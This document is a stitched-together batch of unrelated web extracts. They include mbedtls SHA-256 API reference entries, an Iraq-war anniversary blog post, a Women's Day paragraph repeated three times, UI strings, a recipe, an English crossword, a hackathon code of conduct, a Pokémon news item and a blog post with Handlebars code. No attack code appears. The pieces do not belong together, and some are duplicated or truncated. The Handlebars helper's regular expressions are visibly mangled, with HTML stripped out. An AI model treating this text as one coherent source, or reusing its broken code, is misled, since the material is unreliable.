| This function finishes the SHA-256 operation, and writes the result to the output buffer. More... | |
| int | mbedtls_internal_sha256_process (mbedtls_sha256_context *ctx, const unsigned char data[64]) |
| This function processes a single data block within the ongoing SHA-256 computation. This function is for internal use only. More... | |
| MBEDTLS_DEPRECATED void | mbedtls_sha256_starts (mbedtls_sha256_context *ctx, int is224) |
| This function starts a SHA-224 or SHA-256 checksum calculation. More... | |
| MBEDTLS_DEPRECATED void | mbedtls_sha256_update (mbedtls_sha256_context *ctx, const unsigned char *input, size_t ilen) |
| This function feeds an input buffer into an ongoing SHA-256 checksum calculation. More... | |
| MBEDTLS_DEPRECATED void | mbedtls_sha256_finish (mbedtls_sha256_context *ctx, unsigned char output[32]) |
| This function finishes the SHA-256 operation, and writes the result to the output buffer. More... | |
| MBEDTLS_DEPRECATED void | mbedtls_sha256_process (mbedtls_sha256_context *ctx, const unsigned char data[64]) |
| This function processes a single data block within the ongoing SHA-256 computation. This function is for internal use only. More... | |
| int | mbedtls_sha256_ret (const unsigned char *input, size_t ilen, unsigned char output[32], int is224) |
| This function calculates the SHA-224 or SHA-256 checksum of a buffer. More... | |
| MBEDTLS_DEPRECATED void | mbedtls_sha256 (const unsigned char *input, size_t ilen, unsigned char output[32], int is224) |
| This function calculates the SHA-224 or SHA-256 checksum of a buffer. More... | |
| int | mbedtls_sha256_self_test (int verbose) |
| The SHA-224 and SHA-256 checkup routine. More... | |
This file contains SHA-224 and SHA-256 definitions and functions.
The Secure Hash Algorithms 224 and 256 (SHA-224 and SHA-256) cryptographic hash functions are defined in FIPS 180-4: Secure Hash Standard (SHS).
Definition in file sha256.h.
| #define MBEDTLS_ERR_SHA256_BAD_INPUT_DATA -0x0074 |
| #define MBEDTLS_ERR_SHA256_HW_ACCEL_FAILED -0x0037 |
| typedef struct mbedtls_sha256_context mbedtls_sha256_context |
The SHA-256 context structure.
The structure is used both for SHA-256 and for SHA-224 checksum calculations. The choice between these two is made in the call to mbedtls_sha256_starts_ret().
| int mbedtls_internal_sha256_process | ( | mbedtls_sha256_context * | ctx, |
| const unsigned char | data[64] | ||
| ) |
This function processes a single data block within the ongoing SHA-256 computation. This function is for internal use only.
| ctx | The SHA-256 context. This must be initialized. |
| data | The buffer holding one block of data. This must be a readable buffer of length 64 Bytes. |
0
on success. | MBEDTLS_DEPRECATED void mbedtls_sha256 | ( | const unsigned char * | input, |
| size_t | ilen, | ||
| unsigned char | output[32], | ||
| int | is224 | ||
| ) |
This function calculates the SHA-224 or SHA-256 checksum of a buffer.
The function allocates the context, performs the calculation, and frees the context.
The SHA-256 result is calculated as output = SHA-256(input buffer).
| input | The buffer holding the data. This must be a readable buffer of length ilen Bytes. |
| ilen | The length of the input data in Bytes. |
| output | The SHA-224 or SHA-256 checksum result. This must be a writable buffer of length 32 Bytes. |
| is224 | Determines which function to use. This must be either 0 for SHA-256, or 1 for SHA-224. |
| void mbedtls_sha256_clone | ( | mbedtls_sha256_context * | dst, |
| const mbedtls_sha256_context * | src | ||
| ) |
This function clones the state of a SHA-256 context.
| dst | The destination context. This must be initialized. |
| src | The context to clone. This must be initialized. |
| MBEDTLS_DEPRECATED void mbedtls_sha256_finish | ( | mbedtls_sha256_context * | ctx, |
| unsigned char | output[32] | ||
| ) |
This function finishes the SHA-256 operation, and writes the result to the output buffer.
| ctx | The SHA-256 context. This must be initialized and have a hash operation started. |
| output | The SHA-224 or SHA-256 checksum result. This must be a writable buffer of length 32 Bytes. |
| int mbedtls_sha256_finish_ret | ( | mbedtls_sha256_context * | ctx, |
| unsigned char | output[32] | ||
| ) |
This function finishes the SHA-256 operation, and writes the result to the output buffer.
| ctx | The SHA-256 context. This must be initialized and have a hash operation started. |
| output | The SHA-224 or SHA-256 checksum result. This must be a writable buffer of length 32 Bytes. |
0
on success. | void mbedtls_sha256_free | ( | mbedtls_sha256_context * | ctx | ) |
This function clears a SHA-256 context.
| ctx | The SHA-256 context to clear. This may be NULL , in which case this function returns immediately. If it is not NULL , it must point to an initialized SHA-256 context. |
| void mbedtls_sha256_init | ( | mbedtls_sha256_context * | ctx | ) |
This function initializes a SHA-256 context.
| ctx | The SHA-256 context to initialize. This must not be NULL . |
| MBEDTLS_DEPRECATED void mbedtls_sha256_process | ( | mbedtls_sha256_context * | ctx, |
| const unsigned char | data[64] | ||
| ) |
This function processes a single data block within the ongoing SHA-256 computation. This function is for internal use only.
| ctx | The SHA-256 context. This must be initialized. |
| data | The buffer holding one block of data. This must be a readable buffer of size 64 Bytes. |
| int mbedtls_sha256_ret | ( | const unsigned char * | input, |
| size_t | ilen, | ||
| unsigned char | output[32], | ||
| int | is224 | ||
| ) |
This function calculates the SHA-224 or SHA-256 checksum of a buffer.
The function allocates the context, performs the calculation, and frees the context.
The SHA-256 result is calculated as output = SHA-256(input buffer).
| input | The buffer holding the data. This must be a readable buffer of length ilen Bytes. |
| ilen | The length of the input data in Bytes. |
| output | The SHA-224 or SHA-256 checksum result. This must be a writable buffer of length 32 Bytes. |
| is224 | Determines which function to use. This must be either 0 for SHA-256, or 1 for SHA-224. |
| int mbedtls_sha256_self_test | ( | int | verbose | ) |
The SHA-224 and SHA-256 checkup routine.
0
on success. 1
on failure. | MBEDTLS_DEPRECATED void mbedtls_sha256_starts | ( | mbedtls_sha256_context * | ctx, |
| int | is224 | ||
| ) |
This function starts a SHA-224 or SHA-256 checksum calculation.
| ctx | The context to use. This must be initialized. |
| is224 | Determines which function to use. This must be either 0 for SHA-256, or 1 for SHA-224. |
| int mbedtls_sha256_starts_ret | ( | mbedtls_sha256_context * | ctx, |
| int | is224 | ||
| ) |
This function starts a SHA-224 or SHA-256 checksum calculation.
| ctx | The context to use. This must be initialized. |
| is224 | This determines which function to use. This must be either 0 for SHA-256, or 1 for SHA-224. |
0
on success. | MBEDTLS_DEPRECATED void mbedtls_sha256_update | ( | mbedtls_sha256_context * | ctx, |
| const unsigned char * | input, | ||
| size_t | ilen | ||
| ) |
This function feeds an input buffer into an ongoing SHA-256 checksum calculation.
| ctx | The SHA-256 context to use. This must be initialized and have a hash operation started. |
| input | The buffer holding the data. This must be a readable buffer of length ilen Bytes. |
| ilen | The length of the input data in Bytes. |
| int mbedtls_sha256_update_ret | ( | mbedtls_sha256_context * | ctx, |
| const unsigned char * | input, | ||
| size_t | ilen | ||
| ) |
This function feeds an input buffer into an ongoing SHA-256 checksum calculation.
| ctx | The SHA-256 context. This must be initialized and have a hash operation started. |
| input | The buffer holding the data. This must be a readable buffer of length ilen Bytes. |
| ilen | The length of the input data in Bytes. |
0
on success.


Love Calculator!
I can calculate LOVE! Please enter following information.
Your name:
You lover's name:


--- layout: post title: 10 Years Since The Start Of The Iraq War date: '2013-03-20T22:27:32-07:00' tags: tumblr_url: http://alexhwilliams.tumblr.com/post/45896729421/10-years-since-the-start-of-the-iraq-war ---
In Iraq today, another 20 or so people will get executed by the increasingly authoritarian government. Some of those killed may be teenagers or young women.
Depleted uranium from U.S. artillery has spread into Iraqi communities. There’s a likelihood that a child will be born with a nightmarish birth defect. She may have two heads or one eye. Her intestines may be on the outside of her body.
Just a reminder that this week marks the ten year anniversary of the Iraq war.


Women's Day, observed annually on March 8, is a day to honor and celebrate the achievements of women from around the world. With efforts dating back as early as 1908, the occasion is an official holiday in more than two dozen countries. It is a time to recognize the amazingly influential women throughout history and today — from business to politics to athletics to philanthropy to celebrity. And it is a time to celebrate the amazing women we interact with on a daily basis and to express respect, appreciation and love.
Women's Day, observed annually on March 8, is a day to honor and celebrate the achievements of women from around the world. With efforts dating back as early as 1908, the occasion is an official holiday in more than two dozen countries. It is a time to recognize the amazingly influential women throughout history and today — from business to politics to athletics to philanthropy to celebrity. And it is a time to celebrate the amazing women we interact with on a daily basis and to express respect, appreciation and love.
Women's Day, observed annually on March 8, is a day to honor and celebrate the achievements of women from around the world. With efforts dating back as early as 1908, the occasion is an official holiday in more than two dozen countries. It is a time to recognize the amazingly influential women throughout history and today — from business to politics to athletics to philanthropy to celebrity. And it is a time to celebrate the amazing women we interact with on a daily basis and to express respect, appreciation and love.


0
sites
0
devices
0
records
0
uploads
Settings
Streets
Satellite
My Sites
Create a new site
My Devices
Add a device


WITNESS LIST Teacher Health Insurance, Select Committee March 1, 2000-11:00A Teacher Health Insurance On: Hudgins, Craig (Teaxs Legislative Council) TRS - Care On: Dunlap, Charles (Teacher Retirement System) TRS - Care Appropriation On: Coates, Stephanie (Legislative Budget Board)


The languages only differ in their grammar, their pronunciation and their most common words. Everyone realizes why a new common language would be desirable: one could refuse to pay expensive translators.
Their separate existence is a myth. For science, music, sport, etc, Europe uses the same vocabulary.
The languages only differ in their grammar, their pronunciation and their most common words. Everyone realizes why a new common language would be desirable: one could refuse to pay expensive translators.


CWorkLog
Username
Password
OK
Setup
Fetch tasks
Upload times
Local timelog
Tasks
Click on item to start.
Stop
Close


{% extends 'emailing_template.html' %} {% block body %}
Hey {{ username }},
Yaaay! You are now on Authors' Haven.
Click on the button below to reset your password:
If the button doesn't work, copy the link below and paste it in your browser: {{ reset_password_link }}


Decrypts a PDF file or a set of PDF files.
| Attribute | Description | Required |
| file | The file to decrypt. | Yes, unless a nested resource collection element is used. |
| password | The owner password to the PDF or for the certificate. | Yes |
| keystore | Keystore that holds certificate to decrypt the document. | No; unless the document is encrypted with a certificate. |
| alias | The alias to the certificate in the keystore. | No; unless the keystore contains more than one certificate. |
| preservelastmodified | Preserve the last modified time of PDF files. | No; defaults to false. |
| failonerror | If false, log a warning message, but do not stop the build, when the PDF file to decrypt does not exist or an error occurs while decrypting. | No; defaults to true. |
Resource Collections are used to select groups of PDFs to decrypt.
Decrypt a single PDF
<pdfdecrypt file="myfile.pdf" password="pass"/>
Decrypt all PDFs in a directory and its sub-directories
<pdfdecrypt password="pass"> <fileset dir="pdf_dir" includes="**/*.pdf"/> </pdfdecrypt>


Chicken Kiev
| 100g | Butter |
| 1/2 | Lemon, juice and zest |
| 4 | Garlic cloves, crushed |
| 2 tbsp | Tarragon, finely chopped |
| Salt and pepper | |
| 4 | Chicken breasts |
| Flour | |
| 2 | Eggs, beaten |
| Panko breadcrumbs | |
| Sunflower oil | |
| Cocktail sticks |
Make the tarragon butter. Mash the butter, then beat in lemon juice, zest, garlic, tarragon, salt and pepper. Roll the butter into a tube, wrap in cling film, and refrigerate.
Prepare the chicken.  Season with salt and pepper on both sides. Put a line of tarragon butter down the centre. Roll up the breasts, and pin closed with cocktail sticks. You want to try and seal the butter completely inside the chicken breast. Dip each breast in flour, then egg, then breadcrumbs. Chill for 30 minutes.
Cook the chicken. Heat the oven to 160°C (140°C fan).  When hot, add oil, then chicken. Do not move the chicken around. Cook for about 5 min, until breadcrumbs are browned. Flip over and cook for another 5 min. Put the frying pan in the oven, to finish for 5 min. Remove the cocktail sticks and serve.


MED Majestic Education Digital
CloudBooks
Menu
Go back
Crossword 1
Most common verbs in present simple
•
Solve the crossword puzzle by writing the correct answers. Remember that a letter is written in each cell.
Across
1.
My parents want to
a car. The other is old.
3.
Students
, please!
4.
Every morning I
the dog in the park.
5.
I am with the doctor, I
bad.
7.
In the parties I want to
salsa and pop music.
8.
Every Sunday my family and I
out in a restaurant.
9.
My friends are from France so they
French.
12.
All my family
my mother to clean the house on Sunday.
13.
I don’t like texting, I prefer to
my friends.
16.
After school I
my friends in the park.
17.
At night my brothers
the dinner for all my family.
18.
The football teams
exercise during the afternoon.
19.
I like music. I sometimes
a song.
Down
2.
To participate in the class you need to
your hand.
3.
We
to go to the auditorium.
6.
My best friend and I
a motorbike.
10.
It is difficult to
fish.
11.
My partners prefer to
by bus.
14.
I need to
a cake, it’s my boyfriend’s birthday.
15.
Every morning I
milk before to go to school.
Answers
Restart


Actions
This is a continuation of a prior chronicle, so you can see what happened before all this.
View Previous
You can take a trip to the archives and see how the history books were written.
View History 0">
There are chronicles after this, so you can see what happened next.
View Next 1" slot="end" color="secondary" fill="outline" (click)="loadChildren()">
View Next
If you continue this chronicle, you can record what comes next for the history books.
Record 0" [parsedChronicle]="chronicleParsedData">


It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal
Please enter your email address and password


| Improv Technologies |
| Product: |
Cirquet[tm] Solution Suite |
| Description: |
The Cirquet Solution Suite is a breakthrough set of infrastructure
products
and services that enables dynamic businesses to rapidly and cost
effectively
develop, deploy and manage scalable distributed applications.
Cirquet technology enables software developers to easily create Web
service-based distributed applications from any Java[tm] language
component.
It wraps each Java component as a discrete application and allows for
their
assembly at run-time. Applications written using Cirquet Technology are
network and device neutral; significantly increasing deployment
flexibility
and code re-use. The Cirquet Solution Suite utilizes JXTA technology as
the
distributed message transport to service n-Tier and P2P architectures.
In
addition, Cirquet updates, upgrades or bug fixes can be
centrally managed and automatically propagated across the network to any device running the component without the need to shut down the
application, computer or network.
|
| System Requirements: |
Windows NT, 2000, XP, 98, Solaris 8, Linux 7.2 |
| Availability & Pricing: |
Available now, Register on the web for pricing details |
| Target Markets: |
Telecommunications, Insurance, Finance, Utilities,
and Pharmaceutical. Improv is actively recruiting channel partners to
delivery Cirquet-based technology solutions to these vertical markets. |
| Contact: |
Adam Goldberg
Director, Business Development
<EMAIL_ADDRESS>917-438-7110 |
| Website: |
http://www.improv-tech.com |
|


Where am I go back
Super secret part of DFT
Created by
y3ll0wlife
and layout inspired by
alangueite
Desktop Master Tickets
Linux Master Tickets
Android Master Tickets
IOS Master Tickets
Store Master Tickets
Overlay Master Tickets
Website Master Tickets


Page Progress Bar - Style 2 an automatic web page progress bar
Pace
An automatic web page progress bar. Pace will automatically monitor your Ajax requests, event loop lag, document ready state and elements on your page to decide on the progress. For more info check the plugin documentation here


| 2013-05-12 |
v0.62 "refactorings" |
- changed database model in preparation for many more sites in one of the coming releases (~60 regional newspapers)
- prepared backend for permalink functionality
- switched from phantomjs to casperjs for taking screenshots
- added nrk.no, di.se, svt.se/sport, svt.se/kultur
- changed retaining period for all images to 365 days
|
| 2013-03-17 |
v0.61 "improved layout" |
- toggeling configuration area
- improved error pages
- hour buttons show date on hover
- using bootstrap scaffolding correctly now:
- using larger part of available viewport
- fixed layout bugs in Chrome
|
| 2013-02-18 |
v0.6 "improved functionality" |
- selected sites survive a datechange
- default sites shown now are: Aftonbladet, DN, SVT
- updated bootstrap to 2.3.0
- only show last 9 hours on current day, or kl14.00 - 20.00 on any other day, to
reduce initial number of images required to load
- working previous and next buttons that allow for fetching of newer / older hours
|
| 2013-01-11 |
v0.5 "minimal viable product" |
- first public release
- some bugs & many missing features
|


Health Care Project Team
Our web project to make things easier for patients and doctors , clinics as well.
Learn More
Health Care
Head Office: Defence H-Block Market
0321-1747151
<EMAIL_ADDRESS>@Health_Care
HealthCare@65227
CareForYou


Some of the most using Programming languages:
Front-end programming languages:
HTML
CSS
Javascript
Actionscript
XML
Java(applets)
Back-end programming languages:
Java
C#
PHP
Python
Ruby
Perl


{% extends 'multiplicity/base.html' %} {% load static %} {% block title %}{{ title }}{% endblock %} {% block container %}stretch-bg-head{% endblock %} {% block content %} {% if not tag and not all %}
You are currently browsing the entire publications library, which includes publications on cities, islands, national and sub-national territories, and more. Click here to only view our publications tagged with System type: {{ main_filter }}.
{% elif tag %}
You are viewing all publications with the tag: {{ tag }}.
{% if tag != main_filter %}
Click the button below to filter for system type: {{ main_filter }}
{% endif %}
Apply filter: system type = {{ main_filter }}
{% endif %} {% else %}You are currently viewing publications with system type: {{ main_filter }}. View publications for all system types
{% endif %}{{ list.count }} publication(s) found.
Filter by type:
| Title | Author(s) | Type | Year | Tags | ||
|---|---|---|---|---|---|---|
| {{ details.title }} {{ details.abstract }} {{ details.abstract_original_language }} | {{ details.title|truncatewords:10 }} | {{ details.authorlist }} | {{ details.type }} | {{ details.type.group }} | {{ details.year }} |
{% for tag in details.tags.all %}
{{ tag }}
{% endfor %}
|
{% endfor %}
The map below indicates the cities linked to publications in our database.
{{ SITE_NAME }} shares a library with its twin website, {% if SITE_ID == 1 %}Metabolism of Islands{% else %}
Metabolism of Cities{% endif %}. This joint library contains references on a variety of industrial ecology
topics, including studies on cities and islands, but also publications on methodologies and indicators. All of these references have been tagged
using the tagging structure that you can see below.
The library on this website (which you can browse above) contains the references that have been tagged with System type = {% if SITE_ID == 1 %}Urban{% else %}Island{% endif %}.
However, you can use the tagging tree to see all the publications in our library, including the ones that do not relate specifically to this
system type.
If development of a specific collection within industrial ecology literature is something of your interest, please be sure to get in touch.
Click on a tag to see all the sub-categories and the list with relevant publications.


This policy is a "living" document, and subject to refinement and expansion in the future. Last updated August 27, 2018.
Everyone participating in the Cal Hacks community—including, but not limited to the hackathon and Slack channel—is required to agree to the following Code of Conduct. This includes all attendees, speakers, performers, patrons (sponsors), volunteers, and staff.
 We do not tolerate harassment of participants in any form.
Anyone who violates this Code of Conduct may be sanctioned or expelled from these spaces at the discretion of the Cal Hacks organizers.
Harassment includes:
Cal Hacks prioritizes marginalized people’s safety over privileged people’s comfort.
If a participant engages in harassing behavior, Cal Hacks may take any action we deem appropriate, up to and including expulsion from all Cal Hacks spaces and identification of the participant as a harasser to other Cal Hacks community members or the general public.
If you are being harassed by a member of the Cal Hacks community, notice that someone else is being harassed, or have any other concerns, please contact us immediately via email at<EMAIL_ADDRESS>Please contact any member of our production, volunteer or security team. Our team can be identified by their “Director” t-shirts, and will be trained in how to address and report any incidents that attendees bring to their attention.
Please contact an admin or moderator via direct message.
If the person who is harassing you is a member of staff, they will recuse themselves from handling your incident.
All reports will be handled in the strictest confidence. We will respond as promptly as we can.
Thanks
This Code of Conduct was written based upon the Code of Conduct for XOXO Fest.


Pokémon Sword and Shield’s rare raid encounters have a schedule
Follow Polygon online:
by Patricia HernandezOne of Pokémon Sword and Shield’s big new mechanics is the introduction of raids, where up to four players players can fight against enormous “Dynamax” Pokémon. But every once in a while, you can encounter special “Gigantamax” monsters, which look different and carry special moves. The Gigantamax creatures you find are somewhat dependent on when you’re playing, and what you’re playing.
From now until early January, all players are slightly more likely to encounter Gigantamax Butterfree in Max Raid Battles, which is pictured above. However, your game version can also determine what pops up in a Gigantamax battle. For those on Pokémon Sword, you’re more likely to come across Gigantamax Drednaw.
Fans enjoying Pokémon Shield, meanwhile, will run into Gigantamax Corvinight more often.
It’s worth noting that these encounter tendencies aren’t set in stone. The news blast states that Gigantamax encounters will change over time, so there’s reason to keep checking back.
Related
And for those of you who are having trouble getting into these raids, period: Make sure you’ve actually told the game to connect online, otherwise you’ll be relegated to local searches.


--- layout: post title: 'Darren on Blogger: Markdown & Gists for Blogger via Classeur' date: '2016-01-08T16:28:00.001Z' author: Darren Bishop tags: - jquery - syntaxhighlight - javascript - gist - blogger - pagination - github modified_time: '2016-01-11T20:43:50.466Z' blogger_id: tag:blogger.com,1999:blog-3826577489563855618.post-3135539692630088872 blogger_orig_url: https://www.blogger.com/comment.g?blogID=3826577489563855618&postID=3135539692630088872 ---
I the gist of it is, I just ironed out the last creases in a a new blogging workflow that leverages Classeur.io.
If you don’t want to the back-story of how I came to this, skip ahead to Handlebars Templating.
For ages now I’ve been frustrated by the lack of innovation on Blogger… and for a while, I was equally lazy in moving off the platform.
It bothered me that I could not paginate my blog posts; more recently I got fed up writing technical blogs owing to the fact that writing HTML and embedding code snippets was just a chore.
I investigated switching to WordPress and GitHub Pages, but that was quite daunting:
I have long since solved my pagination problem, I wrote a bit about it here.
So I started looking for ways to get some Markdown goodness and not lose the functionality I had already, namely pagination as mentioned, but also syntax highlighting.
I have been using StackEdit.io for a while in a sort of broken out-of-band process, but recently discovered those guys released a more well rounded product (service), Classeur.io.
The Standard/Free package is all I need: integration with 1 blog, but unlimited posts. Booom!
Still Classeur.io does not quite hit the mark out-of-the-box: it wants to do its own syntax highlighting for code blocks, which I was not happy with, and it broke my pagination.
Luckily, Classeur is quite (just enough) customizable; after a crash course in Handlebars.js and what was probably my JavaScript crash course, I finally got everything working.
Bye-bye Blogger UI!
I accomplish this by defining a boolean blog/file property file.content.properties.paginate
. When specified on the Classeur document as true
, the necessary functionality is triggered in the Handlebars helper.
While authoring, pages are demarked by level-2 headings
## Start of Page 1 Page 1 content ## Start of Page 2 Page 2 content ## Start of Page 3 Page 3 content
As is, the last page, page 3 here, will run to the end of the blog post.
In actual fact, the post must not be left like this as there will not be any numbered navigation links rendered.
To correct that a special heading is used
\\ ## links ##
Any heading level works and it need not be at the end of the post; any content following this special header will render like a footer, that is, it will be visible at all time, regardless what page is selected.
\\
```scala
case class BlogPost(title: String, content: String)
```
renders like
\\ case class BlogPost(title: String, content: String)
\\ [gist id: 25d472722614786accf2 file: DateChrono.scala line: 2-4 nf ss]
renders like this (that leading ** is just a hack to stop the gist from rendering :/)
The template I use is merely the one suggested in the documentation for customizing
\\ {{ "{{" }}#transform file.content.properties.paginate}} {{ "{{" }}{file.content.html}}} {{ "{{" }}/transform}}
The Handlebars code does a whole bunch of stuff in the transform
helper
Handlebars.registerHelper('transform', function(paginate, options) { var result = options.fn(this); function append(code, key, value) { return key ? code + ' data-gist-'+(key == 'lines' ? 'line' : key)+'="'+value+'"' : code; } function replaceGist(str, p1, p2, p3, p4, p5, p6, p7, p8, offset, s) { var keyValues = [p1, p2, p3, p4, p5, p6, p7, p8] var prefix = '<code'; for (var i = 0; i < keyValues.length; i += 2) { prefix = append(prefix, keyValues[i], keyValues[i+1]); } var flags = [ /\b[nh]f\b/i, ' data-gist-hide-footer="true"', /\b[nh]ln\b/i, ' data-gist-hide-line-numbers="true"', /\b[nh]l\b/i, ' data-gist-show-loading="false"', /\bss\b/i, ' data-gist-show-spinner="true"' ] var suffix = '>'; for (var j = 0; j < flags.length; j+=2) { suffix = s.match(flags[j]) ? flags[j+1] + suffix : suffix; } return prefix + suffix; } var gistRE = /\[gist(?:\s+([-\w]+):\s*([^\s\]]+?))?(?:\s+([-\w]+):\s*([^\s\]]+?))?(?:\s+([-\w]+):\s*([^\s\]]+?))?(?:\s+([-\w]+):\s*([^\s\]]+?))?(?:\s\w+)*\]/g; result = result.replace(gistRE, replaceGist); result = result.replace( /(.+?)<\/span>/g, '$1' ); result = result.replace( /([\s\S]+?)<\/code>/g, '$1' ); result = result.replace( /
]*)">/g, '
' ); if (paginate) { result = result.replace( /<h(\d) id[^>]*>\s*links\s*<\/h\1>/gi, '

' ); result = result.replace( /
]*>/g, '
' ); /*result = result.replace( /<h(\d) id[^>]*>/g, '<h$1">' );*/ } return new Handlebars.SafeString(result); });
It isn’t very nice have all that ode crammed in to one helper but initial attempts to split it out and have it work with a more involved template failed.


breakout
(current)
SCORE:
00000
breakout
400
800
GAME OVER
Your score is:
Please enter your name below
#